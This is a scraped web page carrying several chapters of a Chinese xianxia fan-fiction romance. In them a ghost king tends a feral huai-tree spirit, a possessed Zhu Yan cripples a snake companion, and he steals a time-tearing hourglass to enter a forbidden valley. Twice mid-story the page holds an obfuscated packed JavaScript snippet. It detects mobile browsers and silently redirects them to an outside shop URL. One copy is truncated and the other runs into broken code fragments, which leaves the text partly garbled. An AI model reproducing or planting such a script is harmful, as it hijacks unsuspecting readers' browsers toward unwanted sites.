磕磕巴巴的声音,带着一种奇怪的音调,有点可怜,又有点可爱,但更多的是滑稽。 被关了这么久,终于学会开口说话了的小小槐鬼,像是突然踩到了很好玩的游戏开关般,叽叽喳喳对着净渊说个不停:“厌!” 小小槐鬼甚至对着净渊,又随手扯下自己的一小角蓝雾衣裳,变成了一把超级超级可爱的小纸伞,上头还挂满了叮叮当当的小铃铛。 “厌!”小小槐鬼指了指自己变出来的小纸伞,又朝着净渊举了又举。 小小槐鬼实在是太小了,小到净渊虽然看不太清楚它的表情,但单听它的声音,他就知道,这小子,此刻可是开心极了! 净渊俯下身子靠近了小小槐鬼几分,又再一次跟它大眼瞪着小眼。 看似在问着小小槐鬼,实则是在自言自语着。 “不是说,遭到反噬,变成这种样子,记忆就会被清空吗?可我瞧你,还是记得朱厌呀...” 净渊根本不知道,‘朱厌’这两个字,早就成为离仑生命里的一部分。 朱厌就像是一个镌雕在离仑灵魂上的铭碑,刻进他的骨髓,融入他的血肉,渗透他的脉搏。就算他忘记了所有,可在爱朱厌这件事情上,离仑一往向前,数万年如一日,从未改变,不曾退缩。 一听到净渊提到朱厌,小小槐鬼也跟着附和,语气格外开心,一个劲地重复着,喊得快了都叠在一次了:“厌厌!” 净渊一听,满头黑线,一脸无语又颇为无奈朝它一说:“回去吧,好好养着。” 可是眼前玩着小纸伞又玩着小猴子的小小槐鬼,根本就听不进去他的话,一个劲坐在槐树根上,自己跟自己玩得不亦乐乎。 它不肯自己钻回去,净渊也没办法动用术法,强行把它送回槐树根内养伤。 小东西太脆弱了,别说是动用术法,仿佛下一秒一阵风一吹,就会消散得一干二净。 为了留住这一抹残存的精魄,净渊可是上天下地,想尽了一切办法,才好不容易将这截枯萎的槐树根,硬生生养活了中央这一小点儿。 看着一点都不愿意自己回去的小东西,净渊十分头大,灵机一动,一抹狡黠闪过紫眸,十分欠揍地朝小小槐鬼一说—— “你不回去,我一会就去找朱厌,让他不再爱你了,让他与跟别人结成妖侣,如何?你不...” 净渊的话还没说完,锁着枯萎槐树根的无数根天玄链,顿时发出强烈的震鸣,叮叮当当响个不停。 坐在槐树根的小小槐鬼,从原本裹着周身的幽蓝色光雾变成了诡异的丹雘红色,净渊一看不对劲,下意识后退了几步。 下一步,花生米大小的小小槐鬼,突然怵的一下,变成几十米高的滔天大法相。本该是鎏金色泽的大槐鬼法天象地却变成了诡异的浑身血红。 槐江谷内的朱厌,正带着琉璃,在院中晒着太阳。 突然,一股莫名其妙的抽痛,在心脏炸开,猝不及防的痛让他疼得不由身子一晃。眉心那道在嗔海憾境中微微裂开的幽蓝妖印,又若隐若现浮了出来。 盘着身子呆在他腿上的琉璃,感受到动静后,支起身子扭头看向朱厌。 “我没事。继续晒吧,对你身体好。”朱厌笑着摸了摸他的头。 琉璃被他摸得舒服了,又盘回去,可尾巴还是卷着朱厌的尾指不肯放。 朱厌伸手,一抹红色妖力在他掌心怵然一跳。 看着妖力,捂着心口的朱厌,眼神逐渐变得复杂起来。 而另外一边,魂牢里,面目狰狞地朝净渊一吼后,大槐鬼法天象地开始无差别攻击—— 净渊下意识伸手,开阵一挡,还是不敌这一波猝不及防的攻击,整个人被打飞到几米远的地方,连着吐了好几大口血。 “你小子!真是疯了!”净渊眼神一厉,强压下口中血腥,手背擦掉嘴角的血,“你这样——” 嘭的一声巨响,大槐鬼又对净渊开始无差别攻击,动作之大更是让一整座聚魂鬼海似有崩塌之象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只剩下,那半截漂浮于半空的槐树根,被净渊朝他抛过去的白色东西,给盖得严严实实的。 槐树根上,开始出现微不起眼的蠕蠕而动,花生米大小的小小槐鬼从底下很费力地爬了出来,爬到盖着槐树根的白色东西上。 小小槐鬼坐了下来,像是不确定般趴着嗅了又再嗅。确定了熟悉的味道后,将这白色之物变得跟自己一样大小,穿在了身上。 是朱厌的衣服。 这衣服,还是净渊昨日在大荒时,趁朱厌昏迷不醒,又故意避开陌离跟英磊,在朱厌房里,顺手一偷的。 净渊暗自松了一口气,还好聪明的他有先见之明。 他早就料到,强行介入槐树之根的苏醒,很有可能会引起它的狂化,但没想到,反噬带来的后果会是如此严重。 在大荒的时候,他本想偷多些朱厌不显眼的贴身之物,但最后,实在是找不到,只好随手给顺来了一件他的常衣。 坐在槐树根上的小小槐鬼,好似全然忘记方才发狂的自己,盯着自己身上的衣物瞧个不停,很喜欢地摸了又摸,奶声奶气冲净渊一说:“厌!” 吸取了教训的净渊,不敢再口出狂言又不知深浅地逗它了,免得再引得它狂化,只好放轻语气,小心翼翼同它说:“喜欢吗?给你带的,朱厌的衣服。” 小小槐鬼一听,只是抬头,一个劲儿盯着净渊看不动。望着净渊,像是在用力思考着净渊跟他说的话,发呆了足足好一会,最后才点了点头。 净渊耐着性子,像哄小孩一样哄着它:“那你乖乖的,先回到槐树根内,好好养伤等你养好了,下一次,我带你去见朱厌,好不好?” 小小槐鬼又望着他一动不动,磨磨唧唧了好一会才挪动身子。 站起来的小身子,微微发出一道淡到几乎看不见的蓝光,然后就钻进了槐树之根,槐树根又变回了原本黯淡无光的枯木。 被打回原形的摩涅,哭唧唧地跑到净渊脚边,一个劲蹭着他,想要求个安慰。 净渊伸手摸了摸自己被打得摔疼的屁股,没好气同摩涅告状着:“我摔的,可比你严重多了...” 一瘸一拐的摩涅,跟在一瘸一拐的净渊身后,还得被迫听着他的絮絮叨叨,摩涅觉得自己挨揍的一身,更疼了! 突然!他很诡异地就共情到鬼后大人说的那句吐槽了:‘我跟你是万年之痒了。我发现,我现在看到你,就心烦意乱的...’ “该死的老槐妖!居然下手这么重...” “我待会就找陌离哭诉,求抱抱求安慰再求个亲亲好了...要是可以再求一个双修贴贴,就更完美了!” 听着这番话,摩涅忍不住暗自翻了翻白眼! 他严重怀疑,净渊就是精.虫上身的大色胚,借故靠近他们香香的貌美鬼后大人! “我不仅要跟陌离哭诉,回头去大荒,我还要跟朱厌告状!还有英招,下次碰见了,也要一起告状!还要跟英磊说...” 六万多岁的大鬼,正是满世界抓人告状的好年纪! 摩涅摇了摇头,他们顺风顺水的鬼王,这辈子吃过的苦,大概就是,除了爱情之外,就剩这大荒鬼王了...怎么能做到次次都栽在他手上的呢?!真的是没救了! 槐江谷小居,在陪着琉璃晒太阳的朱厌,周围躺着一堆睡得乱七八糟的槐精们,望着远处,不知道在想着什么,小居的门被敲响了—— 门一响,胆小的槐精们一下子就被吓醒了。 朱厌本想起身去开门,倒被槐精神闷抢先一步。 槐精们揉着惺忪的睡眼,一股涌向大门,使出了九牛二虎之力才打开了门。 一看到来人,个个瞬间眼睛都亮起来了,开心的一叫! “英招祖祖!” 40.英招爷爷 一大群小豆丁槐精,朝着站在门外的英招扑去,差点把他绊倒了。 朱厌瞧见,身形一晃,一下子就到了门口,连忙伸手,将年迈的英招拉住,生怕他摔出了好歹来。 一转头,朱厌看到一群绿油油的小萝卜丁,还故意露出一幅凶神恶煞的样子唬着槐精们。 “小萝卜丁,还不快点去晒太阳?再不晒,可就长不高了哦。” “知道了,妖后大人~” 槐精们一听,顿时没好气地齐声敷衍着朱厌。嘴上说着知道了,但一个个的脚,却是一步都没挪动过。 朱厌一脸无奈,饶是一旁的英招笑了笑说:“他们才多大呀?正是爱玩喜热闹的年纪。你以前,不也老是偷偷背着我,哭着闹着还拖着离仑陪你去人间游玩的吗?” 忽然听到离仑的名字,朱厌一愣,脸上涌过一抹错愕。下一刻便将失态,收敛了起来,神情淡淡的,好似无所谓又不在乎的样子。 “是吗?可我早忘记了。”说完,便转身朝着庭院的小亭子走去。 从小看着他长大,他的不对劲,英招自是一眼就看出了,默默叹了一口气。 因为离仑死去,守护大荒的槐鬼之力也早就消散,连带着大荒的九层结界也都摇摇欲坠。 前些日子,大荒禁地更是不知为何,屡次波动,甚至还让凡人修士给闯了进来,而英招与其他山神们也都为修复禁地和大荒结界,个个忙得焦头烂额。 从朱厌醒后到至今,这是英招第一次过来看他。 英磊的嘴是把不住门的。所以,英招早从他嘴里知道了朱厌的一切来龙去脉。 英招走到了朱厌身边,在他身旁,坐了下来。 两人无言,只是相对而坐。 一声细微的嘶嘶微响,打破了诡异的寂静。 方才还呆在朱厌腿上晒着太阳的琉璃,从他宽大的衣袖蛄蛹着,慢吞吞钻出。 在看到是英招后,琉璃从朱厌手腕上爬下,亲昵地拖着小身子,滑行到英招跟前。 “是琉璃啊,”英招捋了被风吹动的花白胡子后,伸手摸了摸它的脑袋,笑着对它说,“看来,净渊那小子,把你养的挺好的,伤也好得差不多了。” “爷爷记得,当初离仑那小子把你带回来的时候,也跟你现在一样,差不多大小呢...” 听到英招又提到离仑,朱厌没有说话,只是颤动的长睫,早已出卖了他的强装淡定。 英招直接开门见山问朱厌:“我听英磊那小子说,你在找那上古禁术‘死生之术’,可是真的?” 朱厌没有说话,只是藏在衣袖中的手下意识一紧。 英招话锋一转:“孩子,你觉得,人死,可以复生吗?” 就在英招以为朱厌还是要继续沉默时,听到他闷闷一回:“我不知道。” 英招摸着花白胡子,笑着继续说:“人呐,有三魂七魄,死后会去冥府。” “一旦踏入了阴阳两界的冥府之路,走过了奈何亡桥,饮下了忘川之水,洗掉一切前尘旧事,便可入轮回镜投胎,再世为人。” “可你觉得,即便是转世为人,这人,还是他原本的人吗?” 朱厌沉默,没有说话。 “我记得古籍如此记载这禁忌之术:‘死生之术’,取丹抽髓,散尽修为,便可招魂结魄,唤回牵挂之人。” “九天十地,四海八荒,三界四洲之内,你可曾听过有人,或有妖,利用此术,寻回了那牵挂之人?” “孩子,因果既定,天意难改。事已至此,过去了,就是过去了。” 英招这话,让朱厌想起了先前做过的梦。 梦里,自己的父亲,也曾对他说过类似的话。 应龙同他说,结局已定,过去难挽。 “何时起,你跟他的爱,不该沦为囚住你的牢笼,”英招叹了一口深深的气,那双略微浑浊的眼里写满了心疼,“爱与恨,不该成为相互折磨的相生因果。” 听着英招的话,朱厌觉得,自己的眼有些刺痛,连带着嗓子眼也难受起来。 是不是,所有的长辈说话都是如此的殊途同归呢? 英招说,爱与恨,不该成折磨。 应龙说,爱不明白,恨不清楚。 他本该无情无义的妖,却修出人的七情六欲,如何不痛苦呢? 朱厌哑着嗓,很认真问了英招一个问题。 “爷爷,你说,什么是喜欢?又何为是真正的爱呢?” “喜欢,则是当你看一个人时,他在你眼中全是优点,哪哪都是好。”英招想了想,接着说,“而爱呢,是你很清楚地知道那个人的缺点。纵使这个人有多么的不完美,乃至于不堪,可你依然愿意陪着他,一起慢慢地变得更好。” 英招走到朱厌那边,缓缓坐下,伸手擦掉了他的眼泪,摸了摸他的头,轻声同他解释着:“孩子,或许,情爱之事,本就没那么复杂。” “喜欢,是占有。可是爱呢,是呵护,更是牺牲。” “你要知道,茫茫人海,世界之大,九天十地,四海八荒,能够觅得一位与自己心意相通的伴侣,很难。” “动心动情,嗔痴爱恨,此乃人之常情。” “爱,本身就是一场盛大的祭奠。” 英招最后的那句话,就像是一把无情又锋利的刀,将朱厌紧绷多时的弦,狠狠割断—— 朱厌扑进英招的怀里,明明早已是数万岁的上古大妖,可哭得却像是个迷了路不知归途的孩童。 “小朱厌,你若因此丧了命,那木头小子若是知道了,岂不是寒了他想方设法,不惜一切代价也要救下你的心吗?” “可是,爷爷...” 一行眼泪从朱厌的眼眶之中,情不自禁淌落下,喉咙好似被灌满了苦涩的黄连,难受,刺痛。 “这不公平...若是救我的代价,是他一命换一命来的,我不需要...” 朱厌的声音不由自主大声起来,连带着情绪也带着突如其来的微微失控。 一瞬间的头痛欲裂向朱厌袭去,让他疼得直接跪地一捂。 “孩子,你这是怎么了!”英招一脸着急,连忙起身一看。 跪倒在地的朱厌,低垂的脑袋背对着英招,那双暗红眼眸瞬间变得格外猩红,连带着眼白都爬满了血丝。 “他凭什么替我做主!凭什么擅作主张!” 朱厌的嗓音突然变得格外低沉,好似有千万道声音重叠怒吼着,原本暗红的眼睛,变成了诡异又骇人的血红,身上瞬间被浓浓的红色戾气包裹住。 突如其来的转变,连着英招,都被吓得下意识后退着,神情变得格外警惕。 当朱厌转身的那一刻,在看到他眉心那道幽蓝妖印还有那双血红眼睛后,便明白,眼前的朱厌,不再是朱厌了。 “你是...”英招十分震惊,“戾气...” “英招,好久不见——” 明明方才还难受得落泪的人,此刻嘴角荡起一个让人不寒而栗的冷笑,让人心生胆怯,只想逃走。 “你...你不是被离仑封印起来了吗?怎么你...” “是啊...”戾气朱厌伸手揩掉眼角的泪,歪了歪脑袋,一脸无辜盯着英招,“你是不是也很好奇...为何我会在他清醒时刻...可以占据得到...他的身体呢...” 英招神色凝重,眉头紧皱,双唇抿成一条线,更是暴露了他的紧张。但戾气的话,确实点破英招心中最大的疑问。 被漫长的岁月冲刷淡的记忆,再次朝着英招袭来—— 上一次,戾气夺走朱厌身体带来的沉重代价和严重后果,让整个槐江谷血流成河的场景都还历历在目... 在英招开口前,戾气朱厌先行开口,止住了他的发言。 “英招,你知道吗?朱厌他就是个懦夫...他抢走了本该属于我的一切...” 戾气朱厌一边说着话,一边化出自己妖化的利指。 戾气朱厌妖化的手,随意搭落在了一旁的案桌上,整个人绕着前面案桌,不停来回走动着。 锋利的指甲划拉着光滑的案桌,在桌面流下了一道道深深的沟壑,还有一声声刺耳的划拉声。 “每一次...”戾气朱厌轻轻吹掉指尖上划拉出来的木屑灰,阴恻恻同英招告着状,“只要有事,只要痛苦,他都会躲起来...” “小东西的时候,他是...白槐白玖的死,离仑的死,他都躲起来了——”戾气朱厌朝着英招歪头一笑,露出一个天真又残忍的神情,“所以,你说,他是不是懦夫——” “坏孩子,就应该被惩罚的。你说,对吗?” 戾气朱厌说着说着,走到琉璃面前,想要伸手摸摸他的头。 不料,琉璃猛地支起身子,拒绝了他的靠近,开始朝戾气朱厌毫不客气吐着猩红蛇信子,甚至是开始剧烈抖动着自己的小尾巴,朝他哈气的同时也不停嘶叫起来。 戾气朱厌好似没看到琉璃的警告之举,依旧想要伸手摸它。 下一秒,琉璃干脆张口,狠狠咬向他的指腹—— 戾气朱厌不满地皱起双眉,脸上颇为不耐,狠狠掐上琉璃,迫使它张口。 圆润的指腹上,露出两个小小的圆窟窿。 指腹上的伤口其实不大,但源源不断的正往外渗着饱满欲滴的血珠,看起来倒是颇为恐怖。 戾气朱厌的眼里闪过一抹杀意,可不知为何,突然又瞬间熄灭了,那张漂亮的脸上又换回了温和的微笑。 被甩到一旁的琉璃,看到他再次靠近,依然支着身子,朝他哈着气,以示警告。 可戾气朱厌依旧没有理睬他的警告,只是默默盯着它笑,眼里泛起残忍又天真的无辜,对它轻轻一说。 “我不杀你。”戾气朱厌盯着琉璃,露出两颗小尖牙,继续笑着说,“因为,你是离仑,送给我的礼物——” “可是,我说过,不听话的坏孩子,就应该被惩罚的...” 英招一听,悬着的心直接重重一沉,连忙上前制止:“你要干什么...你...” 戾气朱厌伸手一挥,将英招给禁了言。一团红黑相织的戾气从他掌心涌出,化作一条巴掌粗的锁链,将英招捆绑在原地,无法动弹半分。 戾气朱厌伸出舌头,将自己指腹上的鲜红血珠,舔.拭吞进了口中,享受地闭上了双眼,不紧不慢,悠哉游哉自我嘀咕着:“让我想想...怎么罚你呢...” 腥而咸的血珠滑入口中,带着一股难以言喻的铁锈味,却让戾气朱厌露出了一个痴迷又享受的神情。 忽然,上一秒还沉浸在血腥气味的戾气朱厌,猛地睁眼,对着琉璃露出了一个疯狂又骇人的笑,“散——” 戾气通过一字诀,化出了一个红色的‘散’字,毫无预警朝着琉璃袭去。 原本被琉璃藏起来的黑色珠子,突然不知从哪里跑了出来,化出原形。 是一条巴掌大小的小黑蛇。 伽罗强制现身,挡在琉璃跟前,试图想要阻止一字诀对它的伤害。 可只有元神状态下的它,妖力有限,只能拦截住戾气朱厌的一部分攻击。 可一字诀的攻击很强大,连带着它好不容易才聚出来的元神,也被影响得变得很不稳定起来。 伽罗原本漆黑的蛇身,一整个身形开始处于半透明的状态,仿佛下一秒就会消失不见。 最后,只能眼睁睁看着一字诀穿过它几乎透明的身体,袭向琉璃。 触碰到一字诀的琉璃,不由发出一声尖锐的嘶鸣。小小的蛇身上,随后也爆开了一阵白雾。接着,就直接趴倒在原地不起了。 伽罗忍不住低头,拱了拱琉璃,可琉璃依旧还是没有反应。 它急得扭头望向戾气朱厌,朝他嘶鸣了一声。 不料,却换来了对面人一阵狂笑不止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522436|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好玩,好好玩呀!”戾气朱厌像是意外获得心爱玩具得小孩子一样,开心的不得了。 伽罗看他的样子后,又忍不住朝他嘶鸣了一声。 戾气朱厌被它这么一吼,倒是有些恍了神。 很奇怪,看到伽罗时,他竟心生出了有一种在看离仑的感觉。 他想,许是伽罗它身上的那份痴情,才让他不由想起了离仑。 他本来是想要废掉琉璃的修为,但转念一想,废掉修为的琉璃就失去了灵性,那便跟普通蛇族一样了,多无趣呀。 于是,大发善心的他,打算只废掉琉璃的一半修为。 可是,他倒没想到,伽罗不惜折损自己的元神也要护着琉璃。最终,琉璃也只不过被他废掉两成修为而已。 可惜了,在聚魂鬼海养伤了这些多年,过段时间便可重新化出人身的琉璃,被戾气朱厌这样子一出手,又得再修炼好长一段时间才可以化出人身了。 “伽罗,好久不见。”戾气朱厌歪着脑袋,好似方才的他根本就没有废过琉璃的修为般,一脸无辜盯着眼前护在琉璃跟前的小黑蛇,嫌弃着它,“都三万多年了,你怎么还是这幅鬼样子?真是没用...” 戾气朱厌越瞧伽罗越嫌弃,可是想到朱厌如今的鬼样子,好像也跟伽罗差不多。 于是,戾气朱厌又心血来潮同它说着:“痴情的妖啊,该被奖励的...” “不如,我来帮你吧——” 话刚说完,戾气朱厌伸出的指尖,忽而飘出一抹红色的戾气,汇入伽罗的眉心。 伽罗那双黝黑的眼睛,顿时变成了诡异的血红色。 与此同时,九幽鬼域聚魂鬼海的那边,净渊正摸着自己才被槐树之根打摔得都快从两瓣变成四瓣的屁股,身旁还跟着也一瘸一拐的摩涅,一瘸一拐地从魂牢方向走出。 还没走几步,聚魂鬼海的化生鬼池开始不受控地翻腾起来。 化生鬼池的深渊底下,埋着的几节破碎蛇骨,发出诡异的红光,开始以闪电般的速度,从破碎的几节不断衍生到六百多节,最终变成了一条身长百丈,但只有骸骨,没有血肉,也没有皮囊的大蛇。 大蛇空洞洞的眼骨里,没有蛇眼,却散发着诡异的幽幽血红。 大蛇从化生鬼池的池子深渊,快速游动到池面。接着,只剩下骸骨的身躯,不断撞击上方那个镇压着化生鬼池的封印。 待到净渊赶到时,鬼池里头,都是断壁残垣。 “该死的!怎么连着伽罗也狂化起来了!”净渊一边结印镇压,一边疯狂吐槽,脸上是前所未有的认真,“难道是因为离仑?” 可在看到藏在池内的伽罗,那双隐隐发出红光的眼睛,还有它身上熟悉的气息后,他脸上一黑,转而破口大骂—— “该死的!是朱厌!老槐妖跟白猴子,这两人怎么就不消停一点?!是不是觉得我很清闲,一天天给我找事做?!他爹的!我一个鬼王要管那么多鬼,我可是很忙的!” 净渊一个发狠,反手一镇,直接将狂化的伽罗重新打回池子。 化生鬼池从方才的波涛汹涌,逐渐平静下来。而里头被强制唤醒的伽罗,也再次昏昏欲睡过去,沉入了深渊。 净渊越想越气,一把抱过地上一瘸一拐的摩涅,又一瘸一拐的转身离去,可嘴里还不忘骂骂咧咧着:“这死槐妖,等他回来了,我要跟他告状...” 被强制抱在怀里的摩涅,眼里露出一个习以为常的无语表情。 方才不是才说,要跟鬼后大人告状吗?咋告着告着,又变成了要跟那大妖王告状了... 槐江谷小居这边,戾气朱厌觉得,玩着玩着,没意思了。 英招对他好,他不伤,他从头到尾都没想过伤害他,就只是用戾气把他绑起来,省的很好的他多管闲事而已。 咬他的琉璃,他不杀,因为是离仑送给他的礼物之一,可是琉璃咬他这件事,让他很不高兴甚至手指很疼,所以他废了不乖的琉璃两成修为而已。 看着一旁护着琉璃的伽罗,即便是被他强灌了戾气,元神不稳的伽罗,还是只会无趣又呆呆地守在琉璃跟前护着它。 没意思,实在是太没意思了。 “没意思,真的是太没意思了...”戾气朱厌东倒西歪地躺在案桌上,手撑着侧脸,脸上满是无聊的神情,锋利的黑色指甲不停划拉着桌面,将桌子弄得布满错乱的沟壑。 “我不跟你们玩了。我要去找那个老不死的拿东西了。” 戾气朱厌停下了划拉着桌子的利指,咻的一声,化作一股红色的烟雾,离开了槐江谷小居。 他前脚刚走,后脚绑着英招的戾气锁链就自动消失了。 英招想追上去,可看到重伤的琉璃还有伽罗,只好用山海寸镜,以最快速度通知英磊去追朱厌。 昆仑山窟里,被乘黄带走的鼗鼓,被他关在了魑魅沙漏里。 里头指甲盖儿大小的小鼗鼓,变成离仑的模样,坐在里头密密麻麻又五颜六色的的沙粒上,神情呆呆又一脸认真地从诸多七情六欲中,找到朱厌的七情六欲,然后又用米粒大小的手费劲地将它们推到一旁,扒拉着小短腿跑来跑去的,在旁边的沙粒上,写了一个大大的‘厌’字。 沙漏前的乘黄,睁着大眼睛盯着里头鼗鼓的一举一动,嘴角忽而扯开一个诡异的僵笑,伸手一倒,沙漏里头的沙粒子开始翻天覆地搅动起来,连带着小鼗鼓也不断翻腾起来。 可过了好一会,被埋在里头的鼗鼓,又重新爬了出来,开始重复方才的动作,想方设法找出朱厌的七情六欲,搬到一旁,堆在一起,继续沙粒写‘厌’字。 不管乘黄如何毁掉它的‘杰作’,下一秒它都依然自顾自重复起来。 反复操作中,乘黄终于肯定了自己的猜想,疯癫又魔愣地自言自语着:“太好了太好了,真是天助我也...离仑跟朱厌,不如,我们就让这游戏,再玩得起兴些有趣些吧...” 41.槐江谷禁地 刚想动手施法,把小鼗鼓从魑魅沙漏中抓出来的乘黄,那双赤黄眼里刚涌起的欣喜,忽而眼神由喜转厉。 有人,不请自来昆仑山窟了—— 乘黄挥袖,将魑魅沙漏连带着囚在里头的小鼗鼓一起收了起来。摊开的掌心变出一个小木偶,使劲朝地上一砸。 小木偶砸地的瞬间,嘭的一声,变出来一个跟他一模一样,惟妙惟肖的‘乘黄’。 乘黄在人偶‘乘黄’耳边低语了几句后,便消失不见了。 站在昆仑山窟外的戾气朱厌,一脸不耐烦,藏在衣袖中的手,只是指尖微微轻弹,山窟外的结界瞬间破碎,露出了昆仑山窟真正的样子,荒芜孤寂,死气沉沉,毫无生机。 每靠近一点距离,昆仑山窟就又现出一层结界,惹得戾气朱厌愈发暴躁起来,很火大地又炸掉一层结界,活生生一股要毁了这老不死老巢的气势。 戾气朱厌简直是烦透了这个老不死的东西,整天搞些有的没的,还有那张白得跟死人差不多一样的脸,看得他就烦。 兜兜转转才走到里头的戾气朱厌,望着眼前的一片荒芜之地,那双血红的眼眸朝着四周看了又看,又探了探气息,还是没有找到那道身影。 可是,他还是敏锐地捕捉到,飘散在空气之中,那一抹微弱的松木香味。 戾气朱厌的嘴角,忍不住微微扬起一个淡淡的弧度,转身作势一副准备离去的样子。 在他转身,刚准备迈出脚步的那一瞬间,身后传来了一道声音,叫住了准备离开的他。 背对着身后人的戾气朱厌,眼中当下露出一个‘果然如此’的眼神。 果然,他猜的没错,老不死的东西就藏在这里。 “戾气小儿,你是在找我吗?” 乘黄凭空出现在距离他身后不过一米之远的地方,脸上挂着的笑,一如既往的僵硬与诡异。 见戾气朱厌一直站在原地一动不动,好似根本就不曾听到他的话,乘黄的双眉不由一皱,倒是先行站不住了。 咻的一声,一个闪身,一下子晃到了他身旁。 乘黄俯身靠近戾气的耳朵,阴恻恻的在他耳边小声耳语起来:“小东西,朱厌怎么把你放出来了?你找我,可有何事?” 微凉的鼻息喷洒在温热的耳边,让戾气朱厌格外觉得很不舒服,可他面上却依旧没有表现出来,只是沉默着。 乘黄一看,反而被他弄得来了兴趣。 乘黄伸出的手,带着木偶专属轻微磨砂的触感,试探性地抚摸上他的侧脸,还不断故意刺激着他:“怎么?你改变主意了?” 被摸着脸的戾气朱厌,只是微微抬眸,藏在衣袖中的手,指尖轻轻一动,一道红色的戾气从他身后涌出,瞬间化作一把锋利的大刀,直接将乘黄方才摸他的手,连带着臂膀,一块狠狠砍下! 乘黄刚想躲开,却还是慢了一步。 咚的一声响—— 乘黄被他砍下的手臂,掉落在地,发出了木头落地的声音。 被他砍掉手臂的乘黄,不怒而笑,只是一脸可惜地望着地上属于自己的残肢。 戾气朱厌这才缓缓转过身来,望着他的眼里,眼神冷得像结冰寒冬,也不废话,直接说明自己的来意。 “听说,你的魑魅沙漏,可以撕破时空限制,去到坍塌空间。” “怎么?”乘黄一听,更加来劲了,好奇一问,“你也想回到过去?回到一切还没有发生,回到一切还可以改变的时刻吗?” 戾气朱厌看似一脸笑意,实则笑不达眼,威胁着他:“如果不想眼前你这个破木偶粉身碎骨的话,我劝你把魑魅沙漏给我。” 即便他早没了可以识破万物的破幻真眼,可戾气朱厌还是一眼就看出,站在他眼前,这个栩栩如生的‘乘黄’,不过是掩人耳目,用来欺骗他的假货障眼法而已。 “小东西,你想去哪儿?不妨先告诉我,如何?” 被戳破是傀儡替身的乘黄也不在乎,只是一直追问着戾气想要魑魅沙漏的原因。 戾气朱厌被他问烦了,懒得再开口的他,直接又再次用红色戾气凝成一把大刀,准备朝他砍去—— 乘黄这次可不傻,早就提前做好准备,在戾气朱厌大刀朝他挥来前,他先行一把跳得远远的。 乘黄眉眼一挑,语气倒是透着几分让人误会的宠溺之色:“小东西,你怎么也跟朱厌那只白猴子一样,还是一如既往地跟以前一样,没礼貌。” 其实,乘黄长得很好看,五官俊美,雍容雅致,当然,前提是得忽略掉他那跟白青得跟死人不相上下的脸色之外。 可惜,随主也是颜控党的戾气朱厌在见过了离仑那张脸后,世间便再无人能入他眼了。 换做很久很久的以前,或许他还能怜香惜玉几分,耐着性子再听乘黄啰嗦几句。 可现在的他只觉得瞧见这老不死的木偶,就一个字,烦。 “是猿。漂亮的白猿。”戾气朱厌连眼睛都不愿抬一下看他一眼,却很固执纠结了乘黄说的白猴子。 指尖一动,他眼前的那把戾气大刀,直接冲乘黄狠狠砍去。 在戾气大刀即将挥下,将乘黄脑袋劈开时,悬在乘黄脑袋仅一公分的距离,大刀自动停下了—— “我给你。”乘黄笑着掏出自己的魑魅沙漏,递给戾气朱厌,还故意阴阳怪气向他为自己求着情,“小东西,别杀我。” 拿到魑魅沙漏的戾气朱厌,转身正准备离开昆仑山窟。 只是在他转身离去前,露出一个得逞的笑容。他那藏在衣袖中的指尖,还是‘很不小心’动了那么一下下。 “白猴子你——” 那把戾气化作的大刀,咻的一声,将‘乘黄’活生生给劈成两半了。 尸块落地的瞬间,嘭的一声,变成了两块残破的木偶碎片。 看着地上的木偶碎片,戾气朱厌眼里满是骄傲得逞的精光,语气夹杂了几分难掩的开心和傲娇:“杀的就是你,都跟你说了,我是漂亮的白猿。老不死的东西,你也一如既往地跟以前一样,令人讨厌。” 说完,就化作一股红烟消失得无影无踪了。 戾气朱厌离开后,直接带着魑魅沙漏回到了槐江谷小居,去了离仑的书房。 离仑书房里,先前墙上悬着的那幅百妖山海图,早就被附在上面的九幽冥火,烧得连灰都不见了。 戾气朱厌站在那里,本该挂着画的位置,如今也空荡荡了多时。 伸出的手上绕满红色戾气,戾气顺着他的指尖滑入乘黄给他的魑魅沙漏。 只见他微微阖上双眼,紧接着整个人就被吸进了发出金光的魑魅沙漏中。下一秒,剧烈抖动着的魑魅沙漏,也一块消失在槐江谷小居。 一阵剧烈又刺耳的震动声在空中响起,五彩斑斓的天空突然像是被人强行撕开了一道大口子。一阵金光闪现后,魑魅沙漏从天空那道撕裂的大口子里头飞出,落地变成一个巨大的沙漏。 光辉消散,沙漏当中,缓缓走了出来一道身影。 是戾气朱厌。 站在结界入口的戾气朱厌,抬头望着眼前这一层本足以拦截他进入的结界,眼中涌起复杂神色。 这里的结界,如今残破得如同一层飘渺而散的水波,只要他轻轻一碰,就都碎了。 原本五彩斑斓的天空,此时变成一片灰暗残破。望着这片灰,戾气朱厌的眼里忽然就莫名染上了一股悲伤。 他就像是进入一处荒芜的无人之境,直接就轻而易举地穿过了禁地结界。 一眼望去,一望无际又一片白茫茫的四周,只有他脚下踏着的这处汪洋。 是瑶河。 戾气朱厌踏足了上去,脚步落下的瞬间,水波化作一朵清澈洁白的水莲,绽放在他脚边。 随着他的走过,身后是一条绵长漂亮的花道。 这里,是槐江谷的禁地。 就是那一处,离仑背着朱厌,私自剥离了自己一抹精魄,化作幻相残识,偷偷守住的槐江谷禁地。 也是一处,离仑从来都不让朱厌踏足,甚至是从头到尾都瞒着他存在的槐江谷禁地。 踏着瑶河的戾气朱厌,感觉自己像是走了很久很久,又像是只才走了一会。 终于,才走到了他想来的那一处地方。 四周涌动着残存的槐鬼之力,早已褪却了鲜艳的鎏金色泽,却依旧固执地守护着的一座小牢笼。 奇怪的是,里头关押的不是什么十恶不赦的凶猛妖兽,而是关着一抹淡到基本快看不见的光雾。 戾气朱厌朝那小牢笼走近了过去,望着里头那抹连飞都不怎么飞得动的小光雾,他那双一向总是被疯癫痴狂充斥着的眼睛,很罕见地露出了一抹温柔。 